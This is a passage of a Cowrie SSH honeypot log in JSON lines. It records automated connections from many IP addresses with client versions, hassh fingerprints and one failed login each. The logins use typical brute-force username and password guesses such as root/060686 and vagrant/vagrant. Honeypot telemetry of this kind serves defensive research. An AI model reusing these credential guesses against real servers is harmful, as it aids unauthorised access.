f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:52.853435Z","src_ip":"103.107.60.45","session":"cddb8f077635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:53.753560Z","src_ip":"103.107.60.45","session":"cddb8f077635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:50:54.972928Z","src_ip":"103.107.60.45","session":"cddb8f077635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":42898,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3580beaf01b","protocol":"ssh","message":"New connection: 109.172.54.111:42898 (10.17.0.5:22) [session: b3580beaf01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:26.682064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:26.685850Z","src_ip":"109.172.54.111","session":"b3580beaf01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:26.785597Z","src_ip":"109.172.54.111","session":"b3580beaf01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"060686","message":"login attempt [root/060686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:27.085061Z","src_ip":"109.172.54.111","session":"b3580beaf01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:28.187278Z","src_ip":"109.172.54.111","session":"b3580beaf01b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":37296,"dst_ip":"159.203.135.109","dst_port":22,"session":"b57ee82b984a","protocol":"ssh","message":"New connection: 20.87.219.67:37296 (159.203.135.109:22) [session: b57ee82b984a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:37.283795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:37.288477Z","src_ip":"20.87.219.67","session":"b57ee82b984a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:37.517892Z","src_ip":"20.87.219.67","session":"b57ee82b984a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1","message":"login attempt [user1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:38.467614Z","src_ip":"20.87.219.67","session":"b57ee82b984a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:39.701136Z","src_ip":"20.87.219.67","session":"b57ee82b984a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":37178,"dst_ip":"159.203.135.109","dst_port":22,"session":"925c95c18d5a","protocol":"ssh","message":"New connection: 193.228.128.84:37178 (159.203.135.109:22) [session: 925c95c18d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:39.747242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:39.752017Z","src_ip":"193.228.128.84","session":"925c95c18d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:42.414046Z","src_ip":"193.228.128.84","session":"925c95c18d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ccccccc","message":"login attempt [root/ccccccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:42.797598Z","src_ip":"193.228.128.84","session":"925c95c18d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:43.903111Z","src_ip":"193.228.128.84","session":"925c95c18d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.246","src_port":45966,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf6c06b5f96","protocol":"ssh","message":"New connection: 196.92.7.246:45966 (159.203.135.109:22) [session: fdf6c06b5f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:55.295578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:55.301012Z","src_ip":"196.92.7.246","session":"fdf6c06b5f96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:55.427494Z","src_ip":"196.92.7.246","session":"fdf6c06b5f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:55.962918Z","src_ip":"196.92.7.246","session":"fdf6c06b5f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:57.092320Z","src_ip":"196.92.7.246","session":"fdf6c06b5f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":40522,"dst_ip":"159.203.135.109","dst_port":22,"session":"f06229f53745","protocol":"ssh","message":"New connection: 122.176.122.24:40522 (159.203.135.109:22) [session: f06229f53745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:59.944796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:51:59.949781Z","src_ip":"122.176.122.24","session":"f06229f53745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:00.227729Z","src_ip":"122.176.122.24","session":"f06229f53745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roman","password":"1234","message":"login attempt [roman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:01.363118Z","src_ip":"122.176.122.24","session":"f06229f53745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:02.653581Z","src_ip":"122.176.122.24","session":"f06229f53745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":33338,"dst_ip":"159.203.135.109","dst_port":22,"session":"faaec0e53566","protocol":"ssh","message":"New connection: 121.168.139.251:33338 (159.203.135.109:22) [session: faaec0e53566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:06.891381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:06.896322Z","src_ip":"121.168.139.251","session":"faaec0e53566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:07.096318Z","src_ip":"121.168.139.251","session":"faaec0e53566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starcraft2","message":"login attempt [root/starcraft2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:07.925347Z","src_ip":"121.168.139.251","session":"faaec0e53566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:09.128732Z","src_ip":"121.168.139.251","session":"faaec0e53566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":54318,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fa3b17cf032","protocol":"ssh","message":"New connection: 31.59.89.180:54318 (159.203.135.109:22) [session: 2fa3b17cf032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:11.985468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:11.991281Z","src_ip":"31.59.89.180","session":"2fa3b17cf032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:12.094723Z","src_ip":"31.59.89.180","session":"2fa3b17cf032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t@","message":"login attempt [root/1q2w3e4r5t@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:12.539316Z","src_ip":"31.59.89.180","session":"2fa3b17cf032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":58350,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cb88818b793","protocol":"ssh","message":"New connection: 20.203.42.204:58350 (159.203.135.109:22) [session: 6cb88818b793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:12.616678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:12.626791Z","src_ip":"20.203.42.204","session":"6cb88818b793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:12.783802Z","src_ip":"20.203.42.204","session":"6cb88818b793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:13.464375Z","src_ip":"20.203.42.204","session":"6cb88818b793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:13.645569Z","src_ip":"31.59.89.180","session":"2fa3b17cf032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:14.636710Z","src_ip":"20.203.42.204","session":"6cb88818b793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":54800,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd593aea25d4","protocol":"ssh","message":"New connection: 185.236.22.41:54800 (10.17.0.5:22) [session: cd593aea25d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:14.712216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:52:14.717197Z","src_ip":"185.236.22.41","session":"cd593aea25d4","protocol":"ssh"}
